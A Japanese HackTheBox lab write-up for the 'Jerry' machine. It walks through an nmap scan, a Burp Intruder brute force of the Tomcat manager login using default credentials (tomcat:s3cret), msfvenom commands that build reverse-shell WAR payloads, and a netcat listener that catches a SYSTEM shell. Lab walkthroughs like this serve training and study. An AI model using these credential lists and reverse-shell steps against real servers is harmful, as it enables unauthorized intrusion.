【HackTheBox】Jerry WriteUp
はじめに
今回はWindows Machineのjerryをやっていきます。難易度は易しいです。
Enumeration
Nmap scan
nmap -sC -sV -Pn jerry.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-13 01:15 EST
Nmap scan report for jerry.htb (10.129.210.31)
Host is up (0.18s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat/7.0.88
|_http-server-header: Apache-Coyote/1.1
|_http-favicon: Apache Tomcat
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.41 seconds
http - TCP port 8080
http://jerry.htb
にアクセスをしても何も出てこないので、http://jerry.htb:8080
にアクセスします。
apache tomcat 7.0.88であることがわかります。
ログイン
Manager Appをクリックするとベーシック認証ログインプロンプトがでてきます。
特に気になった情報はこれまで出てこなかったので、とりあえずデフォルトパスワードを試します。
burp suite
burp suiteを使ってまずはリクエストをinterceptします。ユーザー名とパスワードにはadmin,adminを使っています。
GET /manager/html HTTP/1.1
Host: jerry.htb:8080
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
YWRtaW46YWRtaW4=
はbase64で、デコードするとadmin:admin
となります。
Intruderペイロード
Intruderを使ってパスワードをブルートフォースっで探します。
デフォルトパスワード一覧からユーザ名とパスワードを抜き出します。
Username
admin
both
manager
role1
root
tomcat
Password
password
password1
Password1
admin
tomcat
role1
manager
changethis
root
r00t
toor
s3cret
burp suite brute force
位置を選択
パスワードの位置を選択します。
ペイロードの選択
カスタムできるようにします。
ペイロード設定
まずはユーザ名を、コロンで分けます。
二つ目にパスワードを追記します。
ペイロード処理
base64に変換します。
攻撃
dG9tY2F0OnMzY3JldA==
が成功したので、デコードします。tomcat:s3cret
がユーザ名とパスワードです。
ログイン後
WAR fileをアップロードすることができそうです。
Footfold
リバースシェルの作成
msfvenomというペイロード作成ツールでペイロードを作成します。
Javaペイロード探索
javaのペイロード一覧を探します。
msfvenom -l payloads | grep java
java/jsp_shell_bind_tcp Listen for a connection and spawn a command shell
java/jsp_shell_reverse_tcp Connect back to attacker and spawn a command shell
java/meterpreter/bind_tcp Run a meterpreter server in Java. Listen for a connection
java/meterpreter/reverse_http Run a meterpreter server in Java. Tunnel communication over HTTP
java/meterpreter/reverse_https Run a meterpreter server in Java. Tunnel communication over HTTPS
java/meterpreter/reverse_tcp Run a meterpreter server in Java. Connect back stager
java/shell/bind_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Listen for a connection
java/shell/reverse_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Connect back stager
java/shell_reverse_tcp Connect back to attacker and spawn a command shell
二つほどよさそうなものがありました。
Payload 1
java/jsp_shell_reverse_tcp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f war > revshell.war
Payload 2
java/meterpreter/reverse_tcp
sfvenom -p java/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f war > revshell2.war
今回はpayload1を使います。revshell.warができるのでそれをアップロードします。
シェルの取得
-
nc -lnvp 4444
でリッスンします - /revshellをクリックするとシェルが奪えます。
C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system
フラグ奪還
C:\Users\Administrator\Desktop\flags>type "2 for the price of 1.txt"
type "2 for the price of 1.txt"
user.txt
root.txt
テスト (Trying Payload 2)
Payload2も使ってみましたが、シェルは取れたもののうまくいきませんでした。
nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.2] from (UNKNOWN) [10.129.108.101] 49196
whoami
java.lang.OutOfMemoryError: Java heap space
Discussion